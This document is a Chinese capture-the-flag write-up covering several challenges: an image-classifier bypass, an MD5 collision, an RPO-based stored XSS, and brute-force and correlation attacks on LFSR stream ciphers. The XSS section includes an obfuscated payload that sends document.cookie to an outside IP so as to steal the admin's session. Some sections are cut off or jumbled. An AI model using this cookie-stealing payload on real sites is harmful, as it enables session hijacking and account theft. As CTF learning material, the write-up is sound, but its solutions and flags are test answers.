ai-nimals

1.题目给了一个py脚本，读脚本可知，用base64加密图片，传给服务器。判断和原图是否相同，长度必须相同，里面内容最多有config.diff_chars不同，hint中config.diff_chars的值为1024。接着利用tensorflow训练的一个模型来判断，图片中是何种动物，训练的模型给了一个GitHub地址。

2.判断是否输出的条件为if top_k[0] == 1:，根据在本机训练模型试验的结果，意思是：判断是否为狗的几率最大，就输出flag。显然与题目本意不同，所以我们只需要将给我们的原图base64之后发过去就好了。

3.发包过去的时候要注意，不能一次性全部发过去，否则会出错，所以我们每次发送1024，发一个包暂停0.5秒，最后即可得到flag。（如果出错，重试几次就好）脚本如下：

from pwn import *
from time import sleep
img = open('./basque-shepherd-dog.jpg', 'rb').read()
img_base64 = base64.b64encode(img)
conn = remote('117.50.13.213', 12345)
size = 0
while size < len(img_base64):
    conn.send(img_base64[size:size+1024])
    size += 1024
    print(size)
    sleep(0.5)
conn.interactive()

签到

复制黏贴flag

web

web签到

过第一个的payload

过第二个的payload
就是直接从网上找md5完全相等的碰撞。

Share your mind

本来以为是ssrf，但是经过多次尝试都没有任何突破
后来在群里看到管理员发了这个截图
![图片3]

再结合
![图片4]

这个页面submmit之后提示 管理员会很快审核这个东西，这感觉很明显就是要我们打管理员cookie啊，于是就想着去找xss，找了半天没找到，于是上网找了很多资料，最后从这篇文章http://www.qingpingshan.com/pc/aq/240597.html里面得到了灵感，感觉跟rpo技术有关，于是看了相关的资料。
并且最后发现在write article中配合rpo可以构造出xss
如下
![图片5]

这个存在之后可以看到id为666
![图片6]

配合rpo技术 访问这个链接就能触发xss
http://39.107.33.96:20000/index.php/view/article/666/%2f..%2f..%2f..%2f..%2f
![图片7]

下面就很常规套路了，打cookie
在写文章的地方写上打cookie代码

function poc() { var img_2 = document.createElement(String.fromCharCode(105, 109, 103)); img_2.src = String.fromCharCode(104, 116, 116, 112, 58, 47, 47, 49, 49, 57, 46, 50, 57, 46, 49, 57, 49, 46, 50, 48, 48, 47,63, 99, 111, 111, 107, 105, 101, 61)+ escape(document.cookie);  } setTimeout(poc, 2000);

然后在reports处提交这个url给管理员审核
http://39.107.33.96:20000/index.php/view/arti

streamgame124最大的特点在于明文空间很小，例如1，密钥长度是19位二进制数，即有52万个可能的结果，对于现代计算机来说，完全可以在短时间内爆破完成，相比思考问题的解法，直接爆破显得更加经济。

stream3就不一样了，一打开发现密钥是18位十六进制，这时候任何爆破都不能奏效了，就得考虑更合适的解法。

这里用的是correlation attack，当一串密钥流是通过多个lfsr独立生成后再通过代数操作结合在一起的时候就可以用这种攻击方式。本质上是一种分治的操作，即把各个密钥单独算出来，首先得观察三个密钥流的结合操作：

def single_round(R1, R1_mask, R2, R2_mask, R3, R3_mask):
    (R1_NEW, x1) = lfsr(R1, R1_mask)
    (R2_NEW, x2) = lfsr(R2, R2_mask)
    (R3_NEW, x3) = lfsr(R3, R3_mask)
    return R1_NEW, R2_NEW, R3_NEW, (x1*x2)^((x2^1)*x3)
# x1 x2 x3 out
#  0  0  0  0
#  0  0  1  1
#  0  1  0  0
#  0  1  1  0
#  1  0  0  0
#  1  0  1  1
#  1  1  0  1
#  1  1  1  1
# out is more related to x1 and x3, but not x2

从下面的表格中可以看出，x1、x3和out更加有关联，表现在x1和out同时相等的频率有6/8，而x2只有4/8，约等于随机的二进制组合。因此，r1和r3可以单独通过correlation attack求出来，最后再用brute force找出r2。

# from flag import flag
# assert flag.startswith("flag{")
# assert flag.endswith("}")
# assert len(flag)==24
def lfsr(R, mask):
    output = (R << 1) & 0xfffff

streamgame1

考虑到明文空间很小，直接爆破就行，大概用了1分钟就找到秘钥了。

# from flag import flag
# assert flag.startswith("flag{")
# assert flag.endswith("}")
# assert len(flag) == 25
def lfsr(R, mask):
    output = (R << 1) & 0xffffff
    i = R & mask & 0xffffff
    lastbit = 0
    while i != 0:
        lastbit ^= (i & 1)
        i = i >> 1
    output ^= lastbit
    return (output, lastbit)
# R = int(flag[5:-1], 2) # flag is 01 string, len 19
mask = 0b1010011000100011100 # len mask == len flag
def encrypt(R):
    ret = ''
    for i in range(12):
        tmp = 0
        for j in range(8):
            (R, out) = lfsr(R, mask)
            tmp = (tmp << 1) ^ out
        ret += chr(tmp)
    return ret
def brute_force():
    with open('key', 'rb') as r:
        cipher = r.read()
    for i in range(2**18, 2**19):
        print i
        if encrypt(i) == cipher:
            raw_input()

flag{1110101100001101011}